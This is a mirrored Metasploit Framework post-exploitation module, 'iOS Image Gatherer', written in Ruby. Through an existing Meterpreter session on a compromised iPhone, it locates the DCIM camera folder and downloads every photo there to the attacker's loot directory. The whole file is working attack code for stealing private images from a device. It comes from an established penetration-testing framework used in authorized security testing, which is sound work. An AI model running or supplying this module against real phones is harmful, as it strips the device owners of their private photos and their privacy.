Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/apple_ios/gather/ios_image_gather.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'iOS Image Gatherer',
15
'Description' => %q{
16
This module collects images from iPhones.
17
Module was tested on iOS 10.3.3 on an iPhone 5.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'Shelby Pace' ], # Metasploit Module
21
'Platform' => [ 'apple_ios' ],
22
'SessionTypes' => [ 'meterpreter' ],
23
'Notes' => {
24
'Stability' => [CRASH_SAFE],
25
'SideEffects' => [],
26
'Reliability' => []
27
},
28
'Compat' => {
29
'Meterpreter' => {
30
'Commands' => %w[
31
core_channel_close
32
core_channel_eof
33
core_channel_open
34
core_channel_read
35
stdapi_fs_stat
36
]
37
}
38
}
39
)
40
)
41
end
42
43
def enum_img(f_path)
44
path = File.join(Msf::Config.loot_directory, Rex::Text.rand_text_alpha(6))
45
local_path = File.expand_path(path)
46
47
ios_imgs = dir(f_path)
48
print_status("Directory for iOS images: #{local_path}")
49
50
opts = { 'block_size' => 262144 }
51
ios_imgs.each do |img|
52
print_status("Downloading image: #{img}")
53
client.fs.file.download_file("#{local_path}/#{img}", "#{f_path}/#{img}", opts)
54
rescue StandardError
55
print_error("#{img} could not be downloaded")
56
end
57
end
58
59
def run
60
img_path = '/private/var/mobile/Media/DCIM/100APPLE'
61
unless directory?(img_path)
62
fail_with(Failure::NotFound, 'Could not find the default image file path')
63
end
64
print_good('Image path found. Will begin searching for images...')
65
66
enum_img(img_path)
67
end
68
end
69
70